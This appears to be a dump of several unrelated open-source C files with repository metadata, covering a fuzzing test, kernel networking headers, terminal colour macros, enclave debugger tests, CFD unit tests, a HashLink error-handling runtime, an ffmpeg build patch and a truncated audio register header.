SET_MARK #undef CLEAR_MARK #undef COUNT_MARK #undef TRI_FUNCTION #undef LOGSEARCH
5afd6d04918fb93ffed304dc66a19e05f6004485
cffb2c8cd029670f8c3dbb6e5451c066b76d6804
/tests/assembly/bswap/bswap/main.c
694407c674f5e84451087b48ac54eed8173f8ed0
[ "BSD-2-Clause" ]
permissive
sslab-gatech/qsym
7cf0d66a416f8e0f289ebec6484becad964704fa
153a0b468258e76e03e5d9763a11349e744844fa
refs/heads/master
2022-12-11T21:44:20.473329
2022-11-23T00:23:07
2022-11-23T00:23:07
145,025,326
634
141
NOASSERTION
2022-05-16T01:14:11
2018-08-16T18:30:29
C++
UTF-8
C
false
false
233
c
main.c
#include "common.h" #include <unistd.h> int main() { unsigned int a, b; read(0, &a, sizeof(a)); __asm("bswap %1\n" "mov %1, %0\n" : "=m"(b) : "r"(a)); if (b == 0xdeadbeef) good(); else bad(); }
2c998a3012fe3d075596e5dee46ae20d30a01574
575731c1155e321e7b22d8373ad5876b292b0b2f
/examples/native/ios/Pods/Headers/Private/React-Core/React/JSCExecutorFactory.h
90c15a3d5e577493ac85fd166220801c4472673a
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Nozbe/zacs
802a84ffd47413a1687a573edda519156ca317c7
c3d455426bc7dfb83e09fdf20781c2632a205c04
refs/heads/master
2023-06-12T20:53:31.482746
2023-06-07T07:06:49
2023-06-07T07:06:49
201,777,469
432
10
MIT
2023-01-24T13:29:34
2019-08-11T14:47:50
JavaScript
UTF-8
C
false
false
80
h
JSCExecutorFactory.h
../../../../../../node_modules/react-native/React/CxxBridge/JSCExecutorFactory.h
2013837c432bcf4f5c12a6ba8a5e20de1e5d7c9c
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/linux-a64/include/net/flow.h
c91e2aae3fb125c1ec704ebacd5f19cac02bdc3d
[ "LicenseRef-scancode-free-unknown", "Apache-2.0", "Linux-syscall-note", "GPL-2.0-only", "GPL-1.0-or-later" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
6,073
h
flow.h
/* * * Generic internet FLOW. * */ #ifndef _NET_FLOW_H #define _NET_FLOW_H #include <linux/socket.h> #include <linux/in6.h> #include <linux/atomic.h> #include <linux/uidgid.h> struct flowi_common { int flowic_oif; int flowic_iif; __u32 flowic_mark; __u8 flowic_tos; __u8 flowic_scope; __u8 flowic_proto; __u8 flowic_flags; #define FLOWI_FLAG_ANYSRC 0x01 #define FLOWI_FLAG_CAN_SLEEP 0x02 #define FLOWI_FLAG_KNOWN_NH 0x04 __u32 flowic_secid; kuid_t flowic_uid; }; union flowi_uli { struct { __be16 dport; __be16 sport; } ports; struct { __u8 type; __u8 code; } icmpt; struct { __le16 dport; __le16 sport; } dnports; __be32 spi; __be32 gre_key; struct { __u8 type; } mht; }; struct flowi4 { struct flowi_common __fl_common; #define flowi4_oif __fl_common.flowic_oif #define flowi4_iif __fl_common.flowic_iif #define flowi4_mark __fl_common.flowic_mark #define flowi4_tos __fl_common.flowic_tos #define flowi4_scope __fl_common.flowic_scope #define flowi4_proto __fl_common.flowic_proto #define flowi4_flags __fl_common.flowic_flags #define flowi4_secid __fl_common.flowic_secid #define flowi4_uid __fl_common.flowic_uid /* (saddr,daddr) must be grouped, same order as in IP header */ __be32 saddr; __be32 daddr; union flowi_uli uli; #define fl4_sport uli.ports.sport #define fl4_dport uli.ports.dport #define fl4_icmp_type uli.icmpt.type #define fl4_icmp_code uli.icmpt.code #define fl4_ipsec_spi uli.spi #define fl4_mh_type uli.mht.type #define fl4_gre_key uli.gre_key } __attribute__((__aligned__(BITS_PER_LONG/8))); static inline void flowi4_init_output(struct flowi4 *fl4, int oif, __u32 mark, __u8 tos, __u8 scope, __u8 proto, __u8 flags, __be32 daddr, __be32 saddr, __be16 dport, __be16 sport, kuid_t uid) { fl4->flowi4_oif = oif; fl4->flowi4_iif = 0; fl4->flowi4_mark = mark; fl4->flowi4_tos = tos; fl4->flowi4_scope = scope; fl4->flowi4_proto = proto; fl4->flowi4_flags = flags; fl4->flowi4_secid = 0; fl4->flowi4_uid = uid; fl4->daddr = daddr; fl4->saddr = saddr; fl4->fl4_dport = dport; fl4->fl4_sport = sport; } /* Reset some input parameters after previous lookup */ static inline void flowi4_update_output(struct flowi4 *fl4, int oif, __u8 tos, __be32 daddr, __be32 saddr) { fl4->flowi4_oif = oif; fl4->flowi4_tos = tos; fl4->daddr = daddr; fl4->saddr = saddr; } struct flowi6 { struct flowi_common __fl_common; #define flowi6_oif __fl_common.flowic_oif #define flowi6_iif __fl_common.flowic_iif #define flowi6_mark __fl_common.flowic_mark #define flowi6_tos __fl_common.flowic_tos #define flowi6_scope __fl_common.flowic_scope #define flowi6_proto __fl_common.flowic_proto #define flowi6_flags __fl_common.flowic_flags #define flowi6_secid __fl_common.flowic_secid #define flowi6_uid __fl_common.flowic_uid struct in6_addr daddr; struct in6_addr saddr; __be32 flowlabel; union flowi_uli uli; #define fl6_sport uli.ports.sport #define fl6_dport uli.ports.dport #define fl6_icmp_type uli.icmpt.type #define fl6_icmp_code uli.icmpt.code #define fl6_ipsec_spi uli.spi #define fl6_mh_type uli.mht.type #define fl6_gre_key uli.gre_key } __attribute__((__aligned__(BITS_PER_LONG/8))); struct flowidn { struct flowi_common __fl_common; #define flowidn_oif __fl_common.flowic_oif #define flowidn_iif __fl_common.flowic_iif #define flowidn_mark __fl_common.flowic_mark #define flowidn_scope __fl_common.flowic_scope #define flowidn_proto __fl_common.flowic_proto #define flowidn_flags __fl_common.flowic_flags __le16 daddr; __le16 saddr; union flowi_uli uli; #define fld_sport uli.ports.sport #define fld_dport uli.ports.dport } __attribute__((__aligned__(BITS_PER_LONG/8))); struct flowi { union { struct flowi_common __fl_common; struct flowi4 ip4; struct flowi6 ip6; struct flowidn dn; } u; #define flowi_oif u.__fl_common.flowic_oif #define flowi_iif u.__fl_common.flowic_iif #define flowi_mark u.__fl_common.flowic_mark #define flowi_tos u.__fl_common.flowic_tos #define flowi_scope u.__fl_common.flowic_scope #define flowi_proto u.__fl_common.flowic_proto #define flowi_flags u.__fl_common.flowic_flags #define flowi_secid u.__fl_common.flowic_secid #define flowi_uid u.__fl_common.flowic_uid } __attribute__((__aligned__(BITS_PER_LONG/8))); static inline struct flowi *flowi4_to_flowi(struct flowi4 *fl4) { return container_of(fl4, struct flowi, u.ip4); } static inline struct flowi *flowi6_to_flowi(struct flowi6 *fl6) { return container_of(fl6, struct flowi, u.ip6); } static inline struct flowi *flowidn_to_flowi(struct flowidn *fldn) { return container_of(fldn, struct flowi, u.dn); } typedef unsigned long flow_compare_t; static inline size_t flow_key_size(u16 family) { switch (family) { case AF_INET: BUILD_BUG_ON(sizeof(struct flowi4) % sizeof(flow_compare_t)); return sizeof(struct flowi4) / sizeof(flow_compare_t); case AF_INET6: BUILD_BUG_ON(sizeof(struct flowi6) % sizeof(flow_compare_t)); return sizeof(struct flowi6) / sizeof(flow_compare_t); case AF_DECnet: BUILD_BUG_ON(sizeof(struct flowidn) % sizeof(flow_compare_t)); return sizeof(struct flowidn) / sizeof(flow_compare_t); } return 0; } #define FLOW_DIR_IN 0 #define FLOW_DIR_OUT 1 #define FLOW_DIR_FWD 2 struct net; struct sock; struct flow_cache_ops; struct flow_cache_object { const struct flow_cache_ops *ops; }; struct flow_cache_ops { struct flow_cache_object *(*get)(struct flow_cache_object *); int (*check)(struct flow_cache_object *); void (*delete)(struct flow_cache_object *); }; typedef struct flow_cache_object *(*flow_resolve_t)( struct net *net, const struct flowi *key, u16 family, u8 dir, struct flow_cache_object *oldobj, void *ctx); extern struct flow_cache_object *flow_cache_lookup( struct net *net, const struct flowi *key, u16 family, u8 dir, flow_resolve_t resolver, void *ctx); extern void flow_cache_flush(void); extern void flow_cache_flush_deferred(void); extern atomic_t flow_cache_genid; #endif
dd3adb65d851ae85c4f33c150e1c44996b384bf4
9a3b53fff4a356e764c1cf8fc1b5979221872d4a
/c2c/Utils/color.h
a1d1f4e92f65d4c20fc306321a814f40c063253a
[ "Apache-2.0" ]
permissive
c2lang/c2compiler
0b65cf5697f702352b123e8ed368b77cfabcc5a9
82a0cc5a79860cba8555cd6ee95d278f34a8ecce
refs/heads/master
2023-08-23T05:08:28.126731
2023-06-26T04:23:39
2023-06-26T04:23:39
7,580,238
690
68
Apache-2.0
2023-05-25T12:07:37
2013-01-12T20:40:47
C++
UTF-8
C
false
false
2,296
h
color.h
/* Copyright 2013-2023 Bas van den Berg * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef UTILS_COLOR_H #define UTILS_COLOR_H // clang-format off #define ANSI_BLACK "\033[0;30m" #define ANSI_RED "\033[0;31m" #define ANSI_GREEN "\033[0;32m" #define ANSI_YELLOW "\033[0;33m" #define ANSI_BLUE "\033[0;34m" #define ANSI_MAGENTA "\033[0;35m" #define ANSI_CYAN "\033[0;36m" #define ANSI_GREY "\033[0;37m" #define ANSI_DARKGREY "\033[01;30m" #define ANSI_BRED "\033[01;31m" #define ANSI_BGREEN "\033[01;32m" #define ANSI_BYELLOW "\033[01;33m" #define ANSI_BBLUE "\033[01;34m" #define ANSI_BMAGENTA "\033[01;35m" #define ANSI_BCYAN "\033[01;36m" #define ANSI_WHITE "\033[01;37m" #define ANSI_NORMAL "\033[0m" // erase whole screen #define ANSI_CLEAR "\033[2J" // clang-format on // erase current line #define ANSI_CLEAR_LINE "\033[2K" /* \033[y;xH move cursor to column x row y \033[H move cursor to left top corner \033[xA move cursor x rows up \033[xB move cursor x rows down \033[xD move cursor x columns left \033[xC move cursor x columns right \033[s save cursor position \033[u restore cursor position \0337 save cursor position and text attributes \0338 restore cursor position and text attributes */ #define COL_TIME ANSI_CYAN #define COL_VERBOSE ANSI_BYELLOW #define COL_SEMA ANSI_RED // for AST printing #define COL_DECL ANSI_BGREEN #define COL_STMT ANSI_BMAGENTA #define COL_EXPR ANSI_BMAGENTA #define COL_TYPE ANSI_GREEN #define COL_CAST ANSI_RED #define COL_CANON ANSI_YELLOW #define COL_VALUE ANSI_BCYAN #define COL_ATTR ANSI_BLUE #define COL_INFO ANSI_WHITE #define COL_INVALID ANSI_RED #define COL_ATTRIBUTES ANSI_YELLOW #define COL_NORM ANSI_NORMAL #endif
a187e9be5e393c4e1a5eb7ff53dcb536a951ae71
5f86fc385c7dcfcb5b166cdea7c8b13057b8bb5f
/tests/debugger/enc/contract.c
737d582033113703b41cc9e6c42d9d1c2266b570
[ "MIT" ]
permissive
openenclave/openenclave
54a38e12d9aa73357d9f438a07cd8c07ffe5e6df
cdeb95c1ec163117de409295333b6b2702013e08
refs/heads/master
2023-08-14T16:43:32.049533
2023-07-21T15:58:54
2023-07-21T15:58:54
101,804,230
800
372
MIT
2023-09-12T20:26:02
2017-08-29T20:31:38
C
UTF-8
C
false
false
1,664
c
contract.c
// Copyright (c) Open Enclave SDK contributors. // Licensed under the MIT License. #include <openenclave/bits/sgx/sgxtypes.h> #include <openenclave/internal/error.h> #include <openenclave/internal/globals.h> #include <openenclave/internal/tests.h> #include <stdio.h> #include <string.h> #include "../../../../enclave/core/sgx/td.h" // The following variables are initialized so that the assertions below will // fail by default. The test expects the debugger to update the values // of these variables by introspecting the gdb python plugin. // If the gdb plugin's assumptions match the layout of the data structures, // then the assertions won't be triggered. // volatile is used to prevent compiler-optimizations. volatile uint64_t TCS_GSBASE_OFFSET = (uint64_t)-1; void assert_debugger_binary_contract_enclave_side() { OE_TEST(TCS_GSBASE_OFFSET == OE_OFFSETOF(sgx_tcs_t, gsbase)); oe_sgx_td_t* td = oe_sgx_get_td(); sgx_tcs_t* tcs = (sgx_tcs_t*)td_to_tcs(td); // Assert that enclave start address can be computed just from tcs. // See: debugger/ptraceLib/enclave_context.c if (td->simulate) { const void* enclave_start_address = __oe_get_enclave_start_address(); void* computed_address = (uint8_t*)tcs + OE_PAGE_SIZE - tcs->ossa; OE_TEST(enclave_start_address == computed_address); } else { // In hardware mode, the first 72 bytes of tcs (includes ossa field) // cannot be read. The assertion is skipped. } printf("Debugger contract validated on enclave side.\n"); } void enc_assert_debugger_binary_contract() { assert_debugger_binary_contract_enclave_side(); }
433e4f375b13580702fc12bec0af93dfd153ff1b
ca4c4631f3d47a90b8415bbe70dbc7cae18c071e
/unit_tests/node_kernels/UnitTestKONodeKernel.C
be86508e8b1edc8690a4c1f40fc46a0052bee31a
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
Exawind/nalu-wind
5765078c445d379ea952d2b25a01f5ff490837a6
722cd7757a412c9306645963808047824c312a17
refs/heads/master
2023-08-16T17:44:54.744168
2023-08-15T18:05:23
2023-08-15T18:05:23
132,016,365
111
87
NOASSERTION
2023-09-14T04:02:07
2018-05-03T15:39:32
C
UTF-8
C
false
false
4,827
c
UnitTestKONodeKernel.C
// Copyright 2017 National Technology & Engineering Solutions of Sandia, LLC // (NTESS), National Renewable Energy Laboratory, University of Texas Austin, // Northwest Research Associates. Under the terms of Contract DE-NA0003525 // with NTESS, the U.S. Government retains certain rights in this software. // // This software is released under the BSD 3-clause license. See LICENSE file // for more details. // #include "kernels/UnitTestKernelUtils.h" #include "UnitTestUtils.h" #include "UnitTestHelperObjects.h" #include "node_kernels/TKEKONodeKernel.h" #include "node_kernels/SDRKONodeKernel.h" namespace { namespace hex8_golds { namespace tke_ko { static constexpr double rhs[8] = { -0.016368777801313281, -0.00740039033812396, -0.011709654168113211, 0.051874097062954767, -0.00740039033812396, -0.00417063108566584, -0.0068417453675951607, 0.053763691195545707, }; static constexpr double lhs[8][8] = { { 0.0081843889006566403, 0, 0, 0, 0, 0, 0, 0, }, { 0, 0.00370019516906198, 0, 0, 0, 0, 0, 0, }, { 0, 0, 0.0041685949894791578, 0, 0, 0, 0, 0, }, { 0, 0, 0, 0.0021018912401700412, 0, 0, 0, 0, }, { 0, 0, 0, 0, 0.00370019516906198, 0, 0, 0, }, { 0, 0, 0, 0, 0, 0.00208531554283292, 0, 0, }, { 0, 0, 0, 0, 0, 0, 0.0027637516740426134, 0, }, { 0, 0, 0, 0, 0, 0, 0, 0.0014536892633176806, }, }; } // namespace tke_ko namespace sdr_ko { static constexpr double rhs[8] = { -0.035999999999999997, -0.021160269082529031, -0.021160269082529031, 0.029003272915464909, -0.021160269082529031, -0.012437694101250944, -0.021910289694610025, 0.053914090927629096, }; static constexpr double lhs[8][8] = { { 0.035999999999999997, 0, 0, 0, 0, 0, 0, 0, }, { 0, 0.021160269082529031, 0, 0, 0, 0, 0, 0, }, { 0, 0, 0.021160269082529031, 0, 0, 0, 0, 0, }, { 0, 0, 0, 0.012437694101250944, 0, 0, 0, 0, }, { 0, 0, 0, 0, 0.021160269082529031, 0, 0, 0, }, { 0, 0, 0, 0, 0, 0.012437694101250944, 0, 0, }, { 0, 0, 0, 0, 0, 0, 0.016507982338594577, 0, }, { 0, 0, 0, 0, 0, 0, 0, 0.0087169431652403921, }, }; } // namespace sdr_ko } // namespace hex8_golds } // namespace TEST_F(KOKernelHex8Mesh, NGP_tke_ko_node) { // Only execute for 1 processor runs if (bulk_->parallel_size() > 1) return; fill_mesh_and_init_fields(); // Setup solution options solnOpts_.meshMotion_ = false; solnOpts_.externalMeshDeformation_ = false; solnOpts_.initialize_turbulence_constants(); unit_test_utils::NodeHelperObjects helperObjs( bulk_, stk::topology::HEX_8, 1, partVec_[0]); helperObjs.nodeAlg->add_kernel<sierra::nalu::TKEKONodeKernel>(*meta_); helperObjs.execute(); Kokkos::deep_copy( helperObjs.linsys->hostNumSumIntoCalls_, helperObjs.linsys->numSumIntoCalls_); EXPECT_EQ(helperObjs.linsys->lhs_.extent(0), 8u); EXPECT_EQ(helperObjs.linsys->lhs_.extent(1), 8u); EXPECT_EQ(helperObjs.linsys->rhs_.extent(0), 8u); EXPECT_EQ(helperObjs.linsys->hostNumSumIntoCalls_(0), 8u); namespace hex8_golds = hex8_golds::tke_ko; unit_test_kernel_utils::expect_all_near( helperObjs.linsys->rhs_, hex8_golds::rhs, 1.0e-12); unit_test_kernel_utils::expect_all_near<8>( helperObjs.linsys->lhs_, hex8_golds::lhs, 1.0e-12); } TEST_F(KOKernelHex8Mesh, NGP_sdr_ko_node) { // Only execute for 1 processor runs if (bulk_->parallel_size() > 1) return; fill_mesh_and_init_fields(); // Setup solution options solnOpts_.meshMotion_ = false; solnOpts_.externalMeshDeformation_ = false; solnOpts_.initialize_turbulence_constants(); unit_test_utils::NodeHelperObjects helperObjs( bulk_, stk::topology::HEX_8, 1, partVec_[0]); helperObjs.nodeAlg->add_kernel<sierra::nalu::SDRKONodeKernel>(*meta_); helperObjs.execute(); Kokkos::deep_copy( helperObjs.linsys->hostNumSumIntoCalls_, helperObjs.linsys->numSumIntoCalls_); EXPECT_EQ(helperObjs.linsys->lhs_.extent(0), 8u); EXPECT_EQ(helperObjs.linsys->lhs_.extent(1), 8u); EXPECT_EQ(helperObjs.linsys->rhs_.extent(0), 8u); EXPECT_EQ(helperObjs.linsys->hostNumSumIntoCalls_(0), 8u); namespace hex8_golds = hex8_golds::sdr_ko; unit_test_kernel_utils::expect_all_near( helperObjs.linsys->rhs_, hex8_golds::rhs, 1.0e-12); unit_test_kernel_utils::expect_all_near<8>( helperObjs.linsys->lhs_, hex8_golds::lhs, 1.0e-12); }
099974c8e2b8be455656c526d0252eb5677cd0ff
c457e26ca3d5b00d9970ad32db924fa0d9e6c132
/Backends/Kinc-HL/hl/src/std/error.c
5e32811a5236baac2ca2cb20567daf4b22a9e789
[ "MIT", "Zlib" ]
permissive
Kode/Kha
115d8c44a3a4d585dd5ca4970ddb945866f03b9d
e9a1848f4738868b5e690c566dd0e78dc92ad67a
refs/heads/main
2023-09-04T04:43:47.647813
2023-08-30T17:37:11
2023-08-30T17:37:11
13,816,197
1,187
320
Zlib
2023-09-10T14:41:48
2013-10-23T22:07:47
C
UTF-8
C
false
false
7,798
c
error.c
/* * Copyright (C)2005-2016 Haxe Foundation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #include <hl.h> #include <stdarg.h> #include <string.h> #ifdef HL_CONSOLE #include <posix/posix.h> #endif HL_PRIM void *hl_fatal_error( const char *msg, const char *file, int line ) { hl_blocking(true); # ifdef HL_WIN_DESKTOP HWND consoleWnd = GetConsoleWindow(); DWORD pid; GetWindowThreadProcessId(consoleWnd, &pid); if( consoleWnd == NULL || GetActiveWindow() != NULL || GetCurrentProcessId() == pid ) { char buf[256]; sprintf(buf,"%s\n\n%s(%d)",msg,file,line); MessageBoxA(NULL,buf,"Fatal Error", MB_OK | MB_ICONERROR); } # endif printf("%s(%d) : FATAL ERROR : %s\n",file,line,msg); hl_blocking(false); hl_debug_break(); exit(1); return NULL; } typedef uchar *(*resolve_symbol_type)( void *addr, uchar *out, int *outSize ); typedef int (*capture_stack_type)( void **stack, int size ); static resolve_symbol_type resolve_symbol_func = NULL; static capture_stack_type capture_stack_func = NULL; int hl_internal_capture_stack( void **stack, int size ) { return capture_stack_func(stack,size); } HL_PRIM uchar *hl_resolve_symbol( void *addr, uchar *out, int *outSize ) { return resolve_symbol_func(addr, out, outSize); } static void (*throw_jump)( jmp_buf, int ) = NULL; HL_PRIM void hl_setup_longjump( void *j ) { throw_jump = j; } HL_PRIM void hl_setup_exception( void *resolve_symbol, void *capture_stack ) { resolve_symbol_func = resolve_symbol; capture_stack_func = capture_stack; } HL_PRIM void hl_set_error_handler( vclosure *d ) { hl_thread_info *t = hl_get_thread(); t->trap_uncaught = t->trap_current; t->exc_handler = d; } static bool break_on_trap( hl_thread_info *t, hl_trap_ctx *trap, vdynamic *v ) { while( true ) { if( trap == NULL || trap == t->trap_uncaught || t->trap_current == NULL || trap->prev == NULL ) return true; if( !trap->tcheck || !v ) return false; hl_type *ot = ((hl_type**)trap->tcheck)[1]; // it's an obj with first field is a hl_type if( !ot || hl_safe_cast(v->t,ot) ) return false; trap = trap->prev; } return false; } HL_PRIM void hl_throw( vdynamic *v ) { hl_thread_info *t = hl_get_thread(); hl_trap_ctx *trap = t->trap_current; bool call_handler = false; if( !(t->flags & HL_EXC_RETHROW) ) t->exc_stack_count = capture_stack_func(t->exc_stack_trace, HL_EXC_MAX_STACK); t->exc_value = v; t->trap_current = trap->prev; call_handler = trap == t->trap_uncaught || t->trap_current == NULL; if( (t->flags&HL_EXC_CATCH_ALL) || break_on_trap(t,trap,v) ) { if( trap == t->trap_uncaught ) t->trap_uncaught = NULL; t->flags |= HL_EXC_IS_THROW; hl_debug_break(); t->flags &= ~HL_EXC_IS_THROW; } t->flags &= ~HL_EXC_RETHROW; if( t->exc_handler && call_handler ) hl_dyn_call_safe(t->exc_handler,&v,1,&call_handler); if( throw_jump == NULL ) throw_jump = longjmp; throw_jump(trap->buf,1); HL_UNREACHABLE; } HL_PRIM void hl_null_access() { hl_error("Null access"); HL_UNREACHABLE; } HL_PRIM void hl_throw_buffer( hl_buffer *b ) { vdynamic *d = hl_alloc_dynamic(&hlt_bytes); d->v.ptr = hl_buffer_content(b,NULL); hl_throw(d); } HL_PRIM void hl_dump_stack() { void *stack[0x1000]; int count = capture_stack_func(stack, 0x1000); int i; for(i=0;i<count;i++) { void *addr = stack[i]; uchar sym[512]; int size = 512; uchar *str = resolve_symbol_func(addr, sym, &size); if( str == NULL ) { int iaddr = (int)(int_val)addr; usprintf(sym,512,USTR("@0x%X"),iaddr); str = sym; } uprintf(USTR("%s\n"),str); } fflush(stdout); } HL_PRIM varray *hl_exception_stack() { hl_thread_info *t = hl_get_thread(); varray *a = hl_alloc_array(&hlt_bytes, t->exc_stack_count); int i, pos = 0; for(i=0;i<t->exc_stack_count;i++) { void *addr = t->exc_stack_trace[i]; uchar sym[512]; int size = 512; uchar *str = resolve_symbol_func(addr, sym, &size); if( str == NULL ) continue; hl_aptr(a,vbyte*)[pos++] = hl_copy_bytes((vbyte*)str,sizeof(uchar)*(size+1)); } a->size = pos; return a; } HL_PRIM int hl_exception_stack_raw( varray *arr ) { hl_thread_info *t = hl_get_thread(); if( arr ) memcpy(hl_aptr(arr,void*), t->exc_stack_trace, t->exc_stack_count*sizeof(void*)); return t->exc_stack_count; } HL_PRIM int hl_call_stack_raw( varray *arr ) { if( !arr ) return capture_stack_func(NULL,0); return capture_stack_func(hl_aptr(arr,void*), arr->size); } HL_PRIM void hl_rethrow( vdynamic *v ) { hl_get_thread()->flags |= HL_EXC_RETHROW; hl_throw(v); } HL_PRIM vdynamic *hl_alloc_strbytes( const uchar *fmt, ... ) { uchar _buf[256]; vdynamic *d; int len; uchar *buf = _buf; int bsize = sizeof(_buf) / sizeof(uchar); va_list args; while( true ) { va_start(args, fmt); len = uvszprintf(buf,bsize,fmt,args); va_end(args); if( (len + 2) << 1 < bsize ) break; if( buf != _buf ) free(buf); bsize <<= 1; buf = (uchar*)malloc(bsize * sizeof(uchar)); } d = hl_alloc_dynamic(&hlt_bytes); d->v.ptr = hl_copy_bytes((vbyte*)buf,(len + 1) << 1); if( buf != _buf ) free(buf); return d; } HL_PRIM void hl_fatal_fmt( const char *file, int line, const char *fmt, ...) { char buf[256]; va_list args; va_start(args, fmt); vsprintf(buf,fmt, args); va_end(args); hl_fatal_error(buf,file,line); } #ifdef HL_VCC # pragma optimize( "", off ) #endif HL_PRIM HL_NO_OPT void hl_breakpoint() { hl_debug_break(); } #ifdef HL_VCC # pragma optimize( "", on ) #endif #ifdef HL_LINUX__ #include <signal.h> static int debugger_present = -1; static void _sigtrap_handler(int signum) { debugger_present = 0; signal(SIGTRAP,SIG_DFL); } #endif #ifdef HL_MAC extern bool kinc_debugger_attached(void); #endif HL_PRIM bool hl_detect_debugger() { # if defined(HL_WIN) return (bool)IsDebuggerPresent(); # elif defined(HL_LINUX__) if( debugger_present == -1 ) { debugger_present = 1; signal(SIGTRAP,_sigtrap_handler); raise(SIGTRAP); } return (bool)debugger_present; # elif defined(HL_MAC) return kinc_debugger_attached(); # else return false; # endif } #ifdef HL_VCC # pragma optimize( "", off ) #endif HL_PRIM HL_NO_OPT void hl_assert() { hl_debug_break(); hl_error("assert"); } #ifdef HL_VCC # pragma optimize( "", on ) #endif #define _SYMBOL _ABSTRACT(hl_symbol) DEFINE_PRIM(_ARR,exception_stack,_NO_ARG); DEFINE_PRIM(_I32,exception_stack_raw,_ARR); DEFINE_PRIM(_I32,call_stack_raw,_ARR); DEFINE_PRIM(_VOID,set_error_handler,_FUN(_VOID,_DYN)); DEFINE_PRIM(_VOID,breakpoint,_NO_ARG); DEFINE_PRIM(_BYTES,resolve_symbol, _SYMBOL _BYTES _REF(_I32));
e2c0f584dba408f7a1c048125a083736eae676a5
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
/multimedia/ffmpeg/files/patch-libavutil_thread.h
29ba6aa40761fdce18ab9e1c97d5d45917266670
[ "BSD-2-Clause" ]
permissive
freebsd/freebsd-ports
86f2e89d43913412c4f6b2be3e255bc0945eac12
605a2983f245ac63f5420e023e7dce56898ad801
refs/heads/main
2023-08-30T21:46:28.720924
2023-08-30T19:33:44
2023-08-30T19:33:44
1,803,961
916
918
NOASSERTION
2023-09-08T04:06:26
2011-05-26T11:15:35
null
UTF-8
C
false
false
460
h
patch-libavutil_thread.h
pthread_setname_np is implemented on top of PR_SET_NAME on Linux and is also available on DragonFly, FreeBSD and Solaris --- libavutil/thread.h.orig 2023-02-27 20:43:45 UTC +++ libavutil/thread.h @@ -196,6 +196,8 @@ static inline int ff_thread_setname(const char *name) { #if HAVE_PRCTL return AVERROR(prctl(PR_SET_NAME, name)); +#elif HAVE_PTHREADS + return AVERROR(pthread_setname_np(pthread_self(), name)); #endif return AVERROR(ENOSYS);
7b6fdf11515f2a33ce9af2efdea7992c2fecce9e
52c8ed39b32ccc7c0673278c1adea3638797c9ff
/src/arch/arm32/mach-realview/include/realview/reg-aaci.h
31a544393c50e72cfc4358e6f69f346679b747d8
[ "MIT" ]
permissive
xboot/xboot
0cab7b440b612aa0a4c366025598a53a7ec3adf1
6d6b93947b7fcb8c3924fedb0715c23877eedd5e
refs/heads/master
2023-08-20T05:56:25.149388
2023-07-12T07:38:29
2023-07-12T07:38:29
471,539
765
296
MIT
2023-05-25T09:39:01
2010-01-14T08:25:12
C
UTF-8
C
false
false
6,163
h
reg-aaci.h
#ifndef __REALVIEW_REG_AACI_H__ #define __REALVIEW_REG_AACI_H__ #define REALVIEW_AACI_BASE (0x10004000) /* * Control and status register offsets P39. */ #define AACI_CSCH1 0x000 #define AACI_CSCH2 0x014 #define AACI_CSCH3 0x028 #define AACI_CSCH4 0x03c #define AACI_RXCR 0x000 /* 29 bits Control Rx FIFO */ #define AACI_TXCR 0x004 /* 17 bits Control Tx FIFO */ #define AACI_SR 0x008 /* 12 bits Status */ #define AACI_ISR 0x00c /* 7 bits Int Status */ #define AACI_IE 0x010 /* 7 bits Int Enable */ /* * Other registers */ #define AACI_SL1RX 0x050 #define AACI_SL1TX 0x054 #define AACI_SL2RX 0x058 #define AACI_SL2TX 0x05c #define AACI_SL12RX 0x060 #define AACI_SL12TX 0x064 #define AACI_SLFR 0x068 /* slot flags */ #define AACI_SLISTAT 0x06c /* slot interrupt status */ #define AACI_SLIEN 0x070 /* slot interrupt enable */ #define AACI_INTCLR 0x074 /* interrupt clear */ #define AACI_MAINCR 0x078 /* main control */ #define AACI_RESET 0x07c /* reset control */ #define AACI_SYNC 0x080 /* sync control */ #define AACI_ALLINTS 0x084 /* all fifo interrupt status */ #define AACI_MAINFR 0x088 /* main flag register */ #define AACI_DR1 0x090 /* data read/written fifo 1 */ #define AACI_DR2 0x0b0 /* data read/written fifo 2 */ #define AACI_DR3 0x0d0 /* data read/written fifo 3 */ #define AACI_DR4 0x0f0 /* data read/written fifo 4 */ /* * TX/RX fifo control register (CR). P48 */ #define CR_FEN (1 << 16) /* fifo enable */ #define CR_COMPACT (1 << 15) /* compact mode */ #define CR_SZ16 (0 << 13) /* 16 bits */ #define CR_SZ18 (1 << 13) /* 18 bits */ #define CR_SZ20 (2 << 13) /* 20 bits */ #define CR_SZ12 (3 << 13) /* 12 bits */ #define CR_SL12 (1 << 12) #define CR_SL11 (1 << 11) #define CR_SL10 (1 << 10) #define CR_SL9 (1 << 